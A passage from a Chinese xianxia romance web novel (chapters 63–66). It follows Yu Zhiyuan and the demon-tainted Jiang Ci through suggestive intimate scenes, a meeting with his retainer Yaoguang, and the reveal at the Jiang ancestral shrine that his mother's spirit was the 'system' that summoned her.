他反手扶住她的腰,用力把她往自己身上按了按,直至两人紧紧相贴,再无空隙。 “不够。” 识海中声音响起的同时,灼热的唇也压了下来。 在水里接吻,对虞知鸢来说又是一种无比新奇的感受。 他们在水中浮浮沉沉,水流轻柔地抚过每一寸皮肤,所有的感知都在这样的温柔中无所遁形。 而这所有的,那些或是细微的、或是强烈的反应,也都一一被对方察觉、吞没。 昏昏沉沉中,虞知鸢感觉到姜辞扣住她腰身的手,怔沿着她的脊骨一点点上移,一种难言的酥麻感觉也跟着蔓延至全身。 她还惦记着那句“不够”,但姜辞却没有再继续了。 他将她从水里捞出 来,抱在怀中,一步一步走上了岸。 身上的湿意,教姜辞以灵力烘了个干爽。 而且,似乎烘得太过头了,由他身上传来的,是近乎灼人的热度…… 夜色已深,小二给客人送完热水,退出了屋子。 客栈二楼的走廊里很安静,唯有橙黄色的灯火摇摇晃晃落下来。 不远处突然传来“嘭”的一声。 是门板被重重扣上的声音。 他抬起头,看见那间屋子的房门紧紧闭着,门上隐隐约约透出来一点影子。 啊,是那对容貌都相当出色的年轻夫妇回来了。 可他刚才没看见他们从走廊上回来啊…… 或许是他没留意? 他挠了挠头,转瞬就把疑惑丢到了脑后。 而那扇紧闭的门后…… 虞知鸢被姜辞钳着腰,后背抵在门上。 力道之大让她丝毫挣扎不得。 她只能尽量放松身体,以一种极其柔软的姿态,让自己攀附在他身上。 他的吻用力而狂肆,唇舌以一种她全然无法抵抗的姿态强势抵入到最深处,她不满地想要抗议,可唇被堵住,只能发出一点呜呜咽咽的低。吟声。 他贴住她脊背的手轻轻滑过,勾住上她的衣带。 “嘶啦”一声轻响。 衣衫迤地。 他用力地掐住了她的腰,将她按在怀中,抱起来。 虞知鸢按不住地浑身战栗,脑中一阵阵的眩晕。 一阵天旋地转,后背陷入了温软床榻。 虞知鸢得了喘息的空,混沌的思绪驱使下,忽然鬼使神差地问了句:“你的……唔……尾巴……” 姜辞气息一滞,扣住她胡乱往他身下摸去的手,“……阿鸢喜欢?” 她动了动唇,“我,唔。” 姜辞扣住她的肩压下来,再度堵上了她的唇。 她未说完的话,连同喘。息声便都被他全数吞吃掉了。 虞知鸢的目光涣散了片刻。 她没能摸到他的尾巴。 思绪浮浮沉沉中,一个恍惚的念头冒了出来。 难道他连自己尾巴的醋…… 也吃吗? /// 虞知鸢再醒来,外面已经日头高悬。 阳光透过半开的轩窗淋洒进来,铺了满地。 虞知鸢眨眨眼,抚着额头发了会儿楞。 这是又淫。乱了一整夜呢。 美色……可当真是误人啊…… 腰间的手臂只是轻轻搭着,背上紧贴着皮肉间的细腻触感,腿也被扼得紧紧的,是一种被完全霸占,丝毫不容许她离开的强势姿态。 这人到底是有多喜欢她啊? ……或者是,喜欢她的身体? 思绪茫无断绪地飘荡了会儿,她才僵硬地动了动身体。 才要起身,搁在她腰间的手一个用力,轻而易举便又将她压回了床榻间。 虞知鸢赶忙抬手抵住他,“……我今日还想出门再转转。” “好。”姜辞应道,却仍是低头咬住了她的唇。 “试试运转灵力。” 在喘息的空档,虞知鸢听到他暗哑的声音。 嗯? 她眉心一动,按不住问:“……魔气还会通过那东西进注射到我身体里来吗?” 姜辞:注什么??? 他顿了下,大概按自己思维理解了一下这个词,这才动了动唇:“……不是,不会。” “哦。”虞知鸢应了声,从储物袋中重新取出一套衣衫穿上,这才按他所说的运转了一遍灵力。 确实没有魔气侵入的迹象,但体内的灵力却充盈到了几乎快要溢出来的地步。 她回身望向姜辞:“你把你体内的灵气全都给我了?” “嗯。”姜辞低低应了声,握住她的手腕感知一番,“快要突破了。” 虞知鸢点点头,眉间却不见即将破镜的兴奋之色。 她就算再不懂,也知道双修是一种双方灵元交融交换后共同提升修为的方式。 可从没有听说过双修后,一方的灵气全部到了另一方体内的…… 这不像是双修,倒更像是她吸光了他的精气似的。 …… 虞知鸢摇摇头,甩开脑中有的没的奇怪念头,反手抓着姜辞的手,捏了捏他的指尖,嘀咕道:“给我做什么,我又不是不会修炼。” “想给就给了。” “可没有了灵气,你体内的魔气会不会更加控制不住?” “不会。”姜辞俯身亲亲她的耳廓,“阿鸢会帮我的,不是吗?” 虞知鸢眉心微动。 她的母亲玉尘仙子乃是谯水之中的清气孕育而生,清气本就可以驱邪避凶,或许这也是姜辞体内的魔气能够被控制住的原因。 可即便这样,似乎也不能解决根本问题。 没人知道这样的控制是暂时压制还是别的,又会不会有一日,她也再压制不住? 修真界更不会容许这样一个不稳定因素的存在。 虞知鸢在原地顿了片刻,而后仰起头,抿唇笑道:“是啊,我会努力修炼,然后变得很厉害的,到时候别说压制你的魔气了,压你都行。” 姜辞双眸猩红,目不转睛盯着她,应了声“好”。 虞知鸢:“……” 她好像……又把人给撩着了? 她无辜地眨眨眼,拢住衣衫起身:“我好像又饿了。” 姜辞:“……” 到底还是按压下了想要将她再次压回床榻间的冲动。 等他从床榻间下来,便见着虞知鸢一脸严肃地站在屋门口。 “下次不要撕我的衣服。”她指着地上已经看不出原状的碎布条,补充道:“我储物袋里已经没几件衣服了。” 姜辞:“……一会儿去买一些。” 虞知鸢刚要点头说好,一转念,那不是助长他那些粗鲁霸道的做法么,再一转念…… “你哪里来的那么多银钱?” 姜辞默了一瞬:“……离开凌云宗的时候随手捡的。” 随手捡的? 怕不是当时就给整个搜刮了一遍吧…… 虞知鸢一边腹诽,一边跟着姜辞下了楼。 这个时辰客栈内吃饭的人不多,于是虞知鸢一眼便瞧见了坐在距离楼梯口最近的那张桌案旁的人。 脸上的大胡子已经刮掉,露出干净的眉眼和一张脸。 他起身,抢在小二前头,三两步走到姜辞的跟前。 便如虞知鸢第一次见到他时一样,朝她,哦不,应该是朝姜辞,露出一口白牙。 “少……公子,菜我都点好了。”他侧身让出路来,“坐这里。” 姜辞视若无睹,带着虞知鸢就要绕开他,不妨身旁的人蓦地抬手抓住他的手臂晃了晃。 “我饿了,这会儿点菜到上菜还要一会儿功夫呢。” 于是下一刻,遥光便瞪大了眼,眼睁睁看着那个从来都冷漠非常的人,竟然听话地坐下了。 这……这是何方神圣啊? 他盯着那貌美少女和自家少主间的亲昵姿态,思绪正飞散间,屁股下冷不丁一空…… “哎呦”一声。 虞知鸢诧异抬眸。 看见的便是遥光摔坐在了一地的凳子碎屑中。 “……” 另一边的遥光: ……我感觉少主想打我。 ……他好像还想挖我的眼睛。 但我没有证据。 第64章 第64章这不就是惧内,就是妻管…… “哎这是怎么了,快把这位客官扶起来。” 迎上前的掌柜见状,叫上小二,两人急急忙忙就要扶遥光起来。 遥光挥挥手示意自己没事,趁掌柜的和小二还在研究凳子怎么会无缘无故碎掉的时候,一点点挪到了姜辞边上。 ……站着。 没错,少主会打碎他的凳子,一定是觉得他不配坐凳子! 这边虞知鸢也并不理会这出起因可能在她身上的官司,埋头吃了两口,忽然感觉有视线定定落在她脸上。 一抬头,对上姜辞意味不明的目光…… 她捏着筷子的手微微顿了下。 下一刻,手腕一转,夹着菜的筷子便到了姜辞嘴边。 “夫君也吃。” 这厢姜辞乖乖地张开嘴,那厢遥光瞪圆了眼睛,下巴都快掉到地上去了。 夫、夫夫、夫君!?! 这时候姜辞忽然有了动作。 他握住了虞知鸢另一只没有拿筷子的手,很是熟稔地用手指分开了她的,插。进去,与她十指相扣。 这一幕犹如当头一棒,把已经惊得嘴都合不拢的遥光打得眼前一晃,觉得自己大概、可能、兴许是出现了幻觉。 是……刚才这少女是唤少主“夫君”了,可、可现在是少主先握的人家,这般主动到近乎宣示主权的举动,透出来的自然又是完全不同的意味。 毕竟,少主他从前就是个完全不近人情的,比数九寒天的寒风还要冻人的千年冰坨子啊! 等到遥光好不容易咽下了心中的疑惑,虞知鸢这厢也已经吃饱喝足。 她搁下筷子,歪头看看姜辞,又看看遥光,心里默默叹声气,末了还是开口打破了沉默:“你别干站着了,有事坐下说啊。” 遥光没有应声,只歪头看她一眼,似乎对她这般略显熟悉的语气有些疑惑,但又很快移开了视线,转而小心翼翼去看姜辞。 姜辞却像是一点没注意到,坐在那里八风不动,连个眼神都没给他。 这时候虞知鸢又开口了,问遥光道:“知道我是谁吗?” 遥光:“?”“不、不知道。” 虞知鸢啧了声。 确实,之前和她认识的只是问心阵幻境里的那个遥光,换言之,眼前这个遥光不认识她是正常的,但现在吧,她觉得这个遥光……嗯,着实不大聪明的样子。 她举起自己和姜辞交握在一起的手,在遥光眼前晃了晃:“看见了吗?” 遥光:“……看、看见了。” 虞知鸢:“所以看出来了么?” 遥光:“……???” 虞知鸢叹气,一脸恨铁不成钢道:“你管他叫少主,那就得管我叫少夫人懂吗?少夫人的话你听还是不听?” 遥光定在那里,半晌,晕乎乎地喊了声:“是……少夫人。” “嗯。”虞知鸢从善如流地应了声,另一只手指指对面已经换过了的完好的凳子,“现在坐吧。” 遥光楞了下,僵硬地扭动脖子,又瞧了眼姜辞。 姜辞仍旧没有出声,只是对着他的略显阴森的表情,眼瞧着变得柔和了,他甚至……甚至好像从他的眸底,隐约窥见了一点愉悦的笑意。 愉悦…… 是因为少夫人吗? 他目光恍惚地瞧了瞧虞知鸢,顶着晕晕乎乎的脑袋坐下了。 “你怎么会在这?”虞知鸢问。 “我、我是来找少主的,这南泗城一共也没几间客栈,很好找的。” “你对南泗城好像很熟悉?” “嗯,我来这里有六年了。” 六年? 那岂不是姜氏灭族之后,他就来了这里? “……所以这六年你正事不做,就靠招摇撞骗过日子?” “我、我这……”遥光当然也想到昨天城门口那一出,老脸一红,弱弱解释道:“这不是要找少主嘛。” 虞知鸢一下便从他的话里察觉出一丝不对劲来,“你来这里就是为了要找他?这六年都是?” 遥光这会儿脑子都还稀里糊涂的,虞知鸢问什么就答什么,等一句“对啊”说出口,他迟来的警觉性才让他把差点脱口而出的下半句话给生生咽了回去。 但这会儿再闭嘴显然已经晚了。 “所以你早就知道,迟早有一天,姜辞会到南泗城来。”虞知鸢得出结论,又问他:“你怎么会知道呢?或者说……是谁告诉你的?” 遥光没想到这短短几句话,这位看起来性格脾气都十分柔软的少夫人就从他的嘴里套出了不少事来,这下笑是肯定笑不出来了,只眨巴了下眼睛,摇了摇头。 还装可爱呢。 但装可爱对现在的虞知鸢没用。 毕竟,这可是一个似乎可以预料到事情走向的人…… 她觉得自己好像已经要找到了那根将自己穿书……准确地说,是将自己一般魂魄提前找回来,以及发生在姜辞和她身上这一系列的事情穿在一起的那根线的线头,只要顺着往下,应该很快就能找到真相。 而遥光,自然就是这根线头了。 于是虞知鸢眸光一转,落到了姜辞身上。 他脸上倒是没有表现出什么诧异来,只是与她交握的那只手,似是比方才用力了些。 “他好像还是听你的。”虞知鸢道:“还是你问吧” “嗯。”姜辞听话地应了声,漠然转过头,盯住了嘴巴紧闭的遥光。 “说。” 只一个字,也叫遥光感觉又一次看到了那夜仿佛要将整个世间都毁灭的冰冷少年。 仿佛方才他眼底的笑意,以及那短暂变柔和的神色,都只是他的错觉。 遥光按住乱飞的思绪,吞了口口水,这才低声道:“是即白长老。” 他话音才落下,虞知鸢脑中便浮现出来了那个在幻境中她曾经唤她即白姐姐的温婉女子。 她的确并非姜氏族人,似乎也并未参与那件事。 事情已经说到这里,遥光自然也没好再隐瞒的。 “六年前,即白长老告诉我少主有一日定会到这里来,”他顿了下,“即白长老让我在这里等,若是能够等到,便带少主回一趟姜家。” 这话落下,三人都沉默了一瞬。 虞知鸢偏头看了眼姜辞,还是接过话来:“那即白长老有说回去做什么吗?” 遥光缓缓摇了摇头,“没有。” 顿了下,又道:“那时即白长老已经只剩一口气了,只来得及交代我来南泗城。” 虞知鸢闻言不由地皱起了眉头,这时姜辞忽然开了口:“出什么事了?” “我也不太清楚,”遥光回忆了下,道:“但那之前,即白长老好像去过一趟学宫的后山,后来……” 他眉心不自觉地皱了下,“后来再见到即白长老,她就已经很虚弱了。” 姜辞修长的指骨扣了扣桌面,“她去了多久?” “两天……不不,三……五天?”遥光眉头越拢越紧,到最后也没能说出个准确的时间来。 这个样子,不像只是简单的记不清住,倒更像是记忆被人动了手脚,从而出现了混乱偏差。 虞知鸢静静听完,片刻,忽然问了个风马牛不相及的问题:“你不怕他吗?” 遥光:“?” 虞知鸢不紧不慢道:“他几乎灭了整个姜氏不是吗?那天他应该是‘欻欻欻’杀了一堆人吧,你能逃过一劫不容易,怎么还上赶着来找人呢?” 她这话越往下说,遥光的嘴角就越垮,眼神时不时偷偷去瞥姜辞的神色。 但姜辞竟然没有一点反应。 遥光嘴唇艰难蠕动了下,实在不知道该怎么回答这个问题,好在少夫人也没逼着他回答,只温和地朝他笑笑,便移开了目光。 “那我们就去看看吧,”虞知鸢抓住姜辞的手,“夫君。” 姜辞:“好。” 遥光:“……” 他这下总算是彻底认清了形势。 少夫人说什么少主就应什么…… 他家少主,这是已经完全被少夫人拿捏住了啊! 这不就是惧内,就是妻管严么? 不不。 他怎么敢这么想? 少主……少主他可是很厉害的……吧?。 说是要回姜家,也没有立即动身。 姜辞陪着虞知鸢又在南泗城闲逛了两天,直到从凌云宗传来的消息渐渐开始多起来。 别的且先不提,其中有两条实在叫掌柜的忍不住捏了两把冷汗。一是那魔其实是个男的,只是为隐藏才会多年男扮女装,二是,那魔被围攻逃走的时候并不是一个人,还抢走了凌云宗一个年轻漂亮的女修…… 南泗城的其他人可能还没意识到,但掌柜的夜里已经开始睡不着了。 好在第二日,虞知鸢便结清了这几日住宿的费用,还同掌柜道了谢:“这几日麻烦掌柜的了。” 掌柜努 力保持着镇定,后退两步,朝二人拱手的动作却略显得忌惮又僵硬:“不麻烦不麻烦,二位客官,一路好走。” 虞知鸢挑眉:“掌柜的好像很希望我们早点离开啊。” “哎……这话从何说起啊,”掌柜的冷汗都快冒出来了,“二位宿在小店,是老朽的荣幸。” 虞知鸢没应他的声,抓住姜辞的手,笑道:“夫君,我们还是快些走吧。” 掌柜的目送他们相携的身影离开,直到彻底消失。 “是、是他们吗?”小二的声音不大,隐约可以听出来其中的恐惧茫然。 “胡说八道些什么!”掌柜转身怒斥道:“都什么时辰了,还在这偷懒,活不用干了?快收拾屋子去,快去!” 第65章 第65章虞知鸢:……哈? 五日后,虞知鸢来到了位于昆墟境极北之地的大片雪山中。 抬眸望去,山间白色的云雾缭绕,与常年不化的积雪连成一片,完全瞧不清山上究竟有什么。 遥光从身上摘下一块玉牌扔到半空,双手结印,那玉牌登时光芒大作。 下一刻,那光芒铺平延长,形成一条盘桓而上的光带。待光芒散去,一条长长的石阶便出现在了三人眼前。 虞知鸢记得这条石阶,共有九百九十九级,从濉无山山脚一直通往姜氏所在的宅邸。只不过之前在幻境中她是从里面望出来,现在站在山脚再看这石阶,才觉出十分巍峨来。 原来濉无山就处在这一片仿佛无边无际雪山群中,而若是没有代表姜氏弟子的令牌,石阶不出现,这濉无山也就只是其中一座普通的雪山。 怪不得外人一直找不到姜氏盘踞之地呢。 遥光走在前头引路,一边向她介绍这濉无山。 说是姜氏先祖当初便是看中这濉无山乃是一处先天福地,才会定居在此。而所谓先天福地,便是灵气浓郁,又兼之山川地貌皆有回笼灵气的效果,哪怕年岁久了,也不会出现因灵气逸散导致山中灵气减少的情况,是一处修仙的绝佳之处。 而他们脚下这九百九十九级石阶,在姜氏定居下来的头几十年也并没有用法术隐藏起来,若有凡人能从石阶上山,便可被姜氏收入学宫,踏上求仙问道之路。当然了,这石阶上也刻满符文,绝大部分人往往走不到半山腰,就会被往上看去仿佛没有尽头的石阶吓退,真正能走到姜氏山门前的,几十年也不过出了那么十来个。 而这十来个人中的几个,就是姜氏血脉一稀再稀的源头。 可还能怎么办呢? 虞知鸢数着脚下的台阶,心道:她还没上小学的时候,就知道近亲是不能结婚生孩子的。姜氏要繁衍,血脉稀释就是必然的结果。 她轻轻吸了口气,偏头去看姜辞。 他好像还是没什么情绪,只垂下眸来,松开她的手,转而揉了揉她的后腰,问她:“累了?” 温暖的灵力随之涌入,虞知鸢腿一软,下一瞬就被姜辞顺势捞住腰打横抱了起来。 突然间的失重感叫她的心跳控制不住地重重一落,耳朵也跟着晕上一抹艳色。 “我没事。”虞知鸢推了推他,传音道:“我自己走,我又不是没长腿。” 姜辞手臂长,揽住她后背的手绕过来,掌心竟然覆住了她一侧的柔软,他稍稍用力捏了捏,惹得虞知鸢气急的同时,也止住了她要翻下来的动作。 虞知鸢被捏得一疼,险些闷哼出声,她及时咬住唇,压着脸上泛起的热,见遥光没有回头看过来,才悄悄松了口气,抬眸瞪他:“你注意点!” 姜辞垂首亲了亲她的额头,“阿鸢担心我,我很高兴。” 高兴? 你就这样来表达你的高兴? 那你这几晚上是得有多高兴啊! 她没把这话说出口,但姜辞却像是知道她在想什么似的,动了动唇,道:“这几日是真的很高兴,倒叫阿鸢受累了,是我不好。” “当然是你不好。”虞知鸢顺嘴道,见遥光仍旧走在前头,丝毫没有注意到他们,这才偏头将下巴搁在姜辞肩上,凑过去,低声道:“还有,下次不准再搞那些奇奇怪怪的姿势。” 她都还没问他哪学来的这些,他倒先得意上了。 她在他耳边说话,温热的气息落下来,烘烤得他脖颈都有些发烫。 姜辞神思恍惚一瞬,掐住她的手不自觉地更用了些力道,他垂下头来,学她那样嘴唇贴在她的耳廓,轻声道:“……我以为阿鸢也喜欢。” 虞知鸢一顿,脸涨红,眼前凸起的喉结还在不断颤动。 她脑子一抽,再回过神来的时候,牙齿已经咬住了那一处。 姜辞眸光倏地一沉,喉结跟着重重一滚:“阿鸢……” 他的声音暗哑,里头压着的汹涌好似下一刻就要决堤。 虞知鸢顿时被蜜蜂蛰了似的,松开嘴,退开些,故作可怜兮兮地看他:“今天你还有正事要办。” “嗯。”姜辞也看她,面上波澜不显,嗓音沉哑克制:“是得尽快办完。” 虞知鸢闻言松了口气,挺起的脊背软软一松,按了按念头,不再继续这个危险的话题。 她伸出胳膊搂上他的脖子,下巴就这么搁在他肩上,左右打量起濉无山来。 说起来她之前在幻境中的濉无山也住了一段不短的时间,而真实的濉无山和幻境中的又几乎一模一样,一路沿着石阶往上走,过了半山腰,白茫茫的云雾间隐约可见几缕寒松青色。 云雾翻涌时,松涛阵阵不绝于耳。 如此景象,竟也叫她生出了几分故地重游的感觉来。 她转过头来,放眼望去。 连绵的雪山藏在云雾之间,仿佛没有尽头一般。 刻满符文的石阶对于凡人来说很难走,对于修为在筑基期以上的修士,也就是半盏茶的功夫。 山间围绕着的浓郁烟云,以及布满山间地面的积雪在石阶尽头消失殆尽,印入眼帘的,是几乎被摧毁了大半的姜氏主宅。 破损的大门敞开着,残垣断壁间的蛛网随风飘摇,碎石瓦砾散落满地。 有风掠过,满地的落叶和尘埃凌空而舞。 不难想象,当时在这里曾经爆发过多激烈的争斗…… 虞知鸢心尖微微发颤,她撑起下巴,抬眸看了看姜辞的神情。 姜辞的眼睫微微垂着,一点凝滞的情绪,如薄雾般轻轻覆盖在他的脸上,又在察觉到她向他看过来的视线时,倏忽消散,唇边也跟着弯起一点弧度,“我没事。” 哦,你说没事就没事吧。 虞知鸢往他怀里靠了靠,心道。 他们没有在这里停留太久,而是御剑来到了濉无山的另一侧,姜氏学宫的后山。 许是因为多年无人打理,后山蒿草杂树四处乱长,丛生的荆棘和野生藤蔓互相盘结,将原本通往山崖的小径遮挡得严严实实的。 “想来应是许久都无人踏足过此地了。”遥光道,一边不安且僵硬地微微侧过身体,控制着自己的视线不要看到不该看的。 事实上,他在石阶上察觉到少主和少夫人的亲昵举动时就险些一脚踏空,好在有道灵力及时扯住了他,才没让他当场从石阶上滚下去。 这一路过来,他喉中楞是堵得一句话都说不出来。当然,他也不敢说,更不敢看,只能当自己不存在,在他某次不小心回头,却正对上少主瞥过来的眼风后。 “这里就是即白长老要少主来的地方。”他顿了顿,又接着道。 依然没有得到姜辞的回应。 半晌,遥光小心翼翼地控制着视线稍稍往斜后方偏了偏,这才发现不知道什么时候少主已经放开了少夫人。二人并肩站在一起,目光落下的地方,正是隔着一大片蒿草荆棘的那处山崖。 山崖和山崖的另一边都是姜家的禁地,他不曾踏足过,也不知道山崖的另一边有什么。 遥光抿了抿唇,试探着道:“不如我先带少夫人四下转转……” “不用。”虞知鸢轻轻吸了口气,“我和姜辞一起去。” 如果没记错的话,这山崖下,便是姜氏祖祠所在之地。 : 所以即白长老其实是要姜辞回一趟祖祠? 祖祠里……又会有什么呢? 虞知鸢心跳砰砰,隐约感觉到自己离所有的真相仅有一步之遥了。 她看向遥光,笑了下,“你去前面等我们吧。” 遥光怔了怔,下意识道:“可是这地方——” 他话未说完,眼前人影闪过,再一定睛,方才还在他不 远处的两人,已经出现在了山崖边。 遥光挠了挠头。 好罢,虽说这地方只有拥有姜氏血脉的人才能进去,但少主应该有办法能让少夫人一起进去吧。 这厢,虞知鸢探头往山崖下望了望。 这处山崖陡峭异常,里头肉眼可见浓郁到有如实质的白色雾气。靠近了,似乎能感觉到从里头吹出来猛烈的风,吹得那白雾都像狂涛一般起伏不已。 上回他们是通过祖祠里的阵法出来的,就是不知道进去该怎么进。 直接跳下去吗? 她正要回头问姜辞,悬崖下的气流忽然像是被一股陌生的力量操纵着,突然曲卷起来,形成一道道波纹,就像水面的涟漪般,越扩越大。 涟漪中央破开一个缝隙,在虞知鸢尚未反应过来时,一下便她吞了进去。 白雾有些凉,其中灵光在她的视野里如烟花一样炸开。 但很快,身旁就出现了熟悉的气息。 姜辞的手臂圈上她的腰,一层泛着黑的光将周身白雾隔绝在外。 虞知鸢想说这些灵光好像没有要伤她的意思,就算要伤她,她自己也能应付,但她还没开口,眼前出现的景象就叫她忍不住睁大了眼睛。 穿过汹涌翻腾的雾海,下方是仿佛无边无际的平静水面,如同一面巨大的镜子,将上方涌动的一切都映照了出来。 辽阔的水面上,有一座悬空的殿宇,朱红色漆立柱,庑殿顶,正脊两头各卧着一座白虎石雕。 有零落的玉石散在殿宇周围,同殿宇一样浮在水面之上。 是姜氏祖祠。 但周遭环境又与之前完全不同。 像是将祖祠整个都搬了个地方似的。 就在虞知鸢打量的这会儿功夫,祖祠大门从里头缓缓打开了。 随即脚下的水缓缓升高,变成一条并不十分长的阶梯。 实在是好生怪异啊。 就像是有人在热烈欢迎他们一样。 虞知鸢瞧着眼前的景象砸了咂嘴,心里悄悄嘀咕着。 但他们都已经到了这里,自然是要进去瞧一瞧的。 路不长,两人很快便踏入了殿中。 玄火晶柱里的火焰缓慢跃动,偌大且静寂的大殿中,巨大的白虎雕像依旧保持着从前的模样。 还不待虞知鸢细细打量,“轰隆”一声巨响,殿门重重合上了。 像是不愿意让他们久等似的,虞知鸢都还没开始细细打量呢,大殿中间,白虎雕像下,一缕烟雾便缓缓升起凝实,很快便化作了一道纤弱人形。 一身素衣,身段纤瘦,精致的眉眼掩不住她的虚弱和憔悴, 尽管她只是一缕魂魄。 虞知鸢将人形的面容收入眼中,而后不自禁地,微微瞠圆了眼睛。 这人是…… 姜青瑶。 她缓缓抬起眼,目光在姜辞脸上顿了顿,又很快划过,定在了虞知鸢身上。 良久,她终于是开了口,唤道:“阿鸢。” 虞知鸢:……哈? 第66章 第66章我只求你能够日日都多爱…… “阿鸢。”姜青瑶的声音空灵,飘荡在空旷的大殿中,极度缥缈。 虞知鸢抬手指指姜辞,又瞧瞧姜青瑶,最后指尖还是缓缓扭过来,指向了自己的鼻子,“等我吗?” 话是这么问,潜台词也足够明确:你确定你没等错人? 似乎是觉得虞知鸢的神情和举动有几分可爱,姜青瑶冷凝的眼神微微一晃,终于透出几分熟悉的温和来,笑了笑,“是等你,我等你很久了。” 虞知鸢还没琢磨明白这句话是什么意思,姜辞忽然冷声问道:“是你把她的另一半魂魄从异世唤来的?” 姜青瑶转眸看着姜辞,少顷,点了点头。 虞知鸢:……哈? 姜辞:“你想做什么?” 姜青瑶:“我要做的,我能做的,都已经做了,剩下的,就看你们自己了。” “等等,别打哑谜。”虞知鸢丈二和尚摸不着头脑,忍不住插声道:“我不明白。” 她张了张嘴,半晌,终于问出来第一个问题:“我……该怎么称呼你?” 姜辞:“……” 姜青瑶也短暂地楞了下,但很快回过神来,道:“唤我名字,或者……”她顿了下,眼神往姜辞的方向落了下,又很快收回,“或者,” “系统。”她道。 虞知鸢慢慢地吁了口气。 系统。 所以姜青瑶就是系统,也是那个促使她回到这个世界来的人,可…… “为什么?” 姜青瑶长叹一声,“是我作为母亲的自私,我……不想我的孩子在经历那么多痛苦之后,还落得那样一个结局。” 结局…… 是心魔发作,世界毁灭,姜辞……身死魂消。 虞知鸢眉头微蹙,扭头瞧一眼姜辞,又转回来,疑惑道:“但你怎么会知道没有发生过的事情?你能预见未来吗?” 姜青瑶苦笑着摇了摇头,“我没法预见未来,但我看到了。” ……看到了? 虞知鸢还没琢磨明白这话的意思,便又听姜青瑶道:“我在三生石上,见到了阿辞的未来。” 三生石是一块安置在冥界的石头,上面记录着世间所有人前世、此世、来世。 姜青瑶没有在三生石上瞧见自己的生平,却是一眼瞧见了姜辞的。 “我见到他被心魔侵蚀,见到他彻底化魔。” “生灵涂炭,血流成河。 “所有人对阿辞都是又恨又怕,阿辞最终也没能逃过天道降下的天罚雷劫。他们说阿辞生来就是魔,说阿辞根本不该出生,说这一切都是阿辞的错。” 虞知鸢听到这里,伸手悄悄勾住了姜辞的手指,却被他反手一握,紧紧攥住了。 “可明明那些想要利用阿辞的人,包括我,才是这一切事情的始作俑者不是吗?阿辞不该是那样一个结局,那些不知情的人更是无辜……” 姜青瑶说到这里顿了下,诸多情绪涌上来,虚弱的魂魄经不住如此躁动,隐隐开始有溃散的迹象。 但她很快便压下了那些情绪,接着道:“后来我从冥界回到祖祠,借助先祖留在祖祠中的力量,在即白长老和其他弟子的帮助下,找到了你。” 姜青瑶望着虞知鸢,道:“阿鸢,你是唯一的变数。” “玉尘仙子乃谯水中的清气孕育而生,你是她的孩子,只有你才能克制他体内魔气,让他保有理智,不至于彻底化魔,也就不会造成世间生灵涂炭,引来天罚雷劫。” “那为什么不一开始就告诉我这些?”虞知鸢不解。 姜青瑶苦笑:“我知道这事对当时的你来说会很难接受,便借助了异世那个你所熟悉的穿书和系统的说法。”她顿了顿,叹息道:“况且把你找来,已经是我自私之举,我实在没法再直接提出那样的要求。” 虞知鸢听罢,禁不住点了点头。 也是。 要是那时姜青瑶就跟她说要让她帮姜辞控制魔气,她一定拔腿就跑……呃……其实也不一定,她还是很惜命的…… 但转念再一想,她要是真的不管不顾要跟那 时的姜辞那啥……其实最有可能的就是被那时的姜辞立即掐死,说不定还要当场把这个觊觎他的人给大卸八块了。 虞知鸢抿了下唇,用力地抽出被姜辞握着的手,却很快又被他捉了回去,这回攥得更紧了。 虞知鸢心底哼一声,还记得正事要紧,也不管他了,开口问姜青瑶道:“那只要我跟他在一起,就能一直压制住他体内的魔气吗?” 姜青瑶自然没错过他们那些小动作,眉头微微舒展些,语气却仍旧肃穆:“我也不知道。” 虞知鸢:“……那若是有朝一日他真的失控,是不是就会引来天罚雷劫?” 姜青瑶沉默片刻,道:“是。” 魔气失控,失去理智,彻底化魔。 届时天道必不会允许这样他存在。 虞知鸢目光闪动,侧眸悄悄看了看身旁的人。 姜辞神色平静,像是早就知道姜青瑶说的这些事,见她看过来,他倒先安抚上她了,他道:“阿鸢不必担心,不会有那一日的。” 有她在,他就不会失控,他心道。 虞知鸢闻言却是眉头一皱,立刻抬手去捂他的嘴:“呸呸呸,不要说这种话,快收回去。” 乱立flag是会被啪啪打脸的! 尽管不知道她为什么不让他说,但贴在她唇上的温热又柔软的触感,她言辞间的急切和关心…… 都逶迤着从他心尖上拂了过去。 姜辞心间无端而起一股难以抑制的颤动,想要……想要将她揉进自己的身体,与她永不分离。 他抿了下舌尖,极力压下这股欲望,反手扣住她捂着自己的手,看向姜青瑶,口气平和道:“你的神魂很虚弱。” 这还是他们母子见面后,姜辞第一次表现出来对她的关心,姜青瑶情绪波动之下,连身形都晃了下。良久,她动了动唇:“阿辞,我于你有愧,更于阿鸢有愧,只是我来不及弥补,也无法弥补。接下来的路,就由你们二人自己走了。” 她说着话,连身形都好像慢慢变淡了。 虞知鸢察觉到什么,不自觉地蜷了蜷手指。 仿佛只是一个呼吸间,姜青瑶的身形便彻底消散了,眼前只余下细碎的光点。 虞知鸢下意识地伸手,捕捉到一粒光,只是手掌一张开,那光便也在顷刻间散开了。 她偏过头去看姜辞。 他眼睛紧紧盯着面前姜青瑶方才站着的地方,眼底像是沉着许多许多的情绪。 一时间没人出声,大殿中安静极了。 许久。 “魂魄进入冥界,若想要再回来,便要舍弃轮回。”姜辞淡淡道:“她不会再有来世了。” “为我做这些,对她来说并不值得。”他道。 虞知鸢摸了摸他的手背。 她相信姜青瑶是爱姜辞的,可她不是姜辞,没法切身去体会他的感受。 但起码,在这样的时刻,她还陪在他的身边。 姜辞与她四目相对。 好一会儿,他才动了动唇:“但我现在感谢她,是她把你送到了我身边。” 自幼时起,他就知道自己的存在是为人所厌恶的,他们厌恶他,却又要利用他。 在这样一日又一日,漫长到望不到尽头的厌恶中,他不可抑制地生出了想要将一切都毁灭的戾意。 在这样的时刻,虞知鸢的出现,好似就成了他生命中唯一的火光。 …… “阿鸢,我感谢她,也感谢你,感谢你愿意来到我身边。” 虞知鸢:“只是感谢吗?” “不是。”姜辞喉头动了动,他俯身亲了下她额头,哑声道:“我是魔,是恶鬼,我卑贱如泥,原不配拥有这世上任何一样美好的事物。 “但你来到了我身边,妄念自此横生。 “阿鸢,我知你不愿就此被我束缚,我只求你能够日日都多爱我一分。” 虞知鸢轻轻舒了口气。 她想她就算是个木头,这会儿也该觉得这话动人了。 更何况她又不是木头。 她抬手轻轻抱住了他,脸颊贴在他的胸膛上,听见他的心跳,感受到他说话时他胸膛微微的震颤,她听到他问她:“求你,只爱我一人,好不好?” 好不好? 她喉头发紧,良久,才吐出话来。 “好。” 姜辞一把将她扣在怀中,紧紧抱住,像是要将她嵌到自己身体里一样。 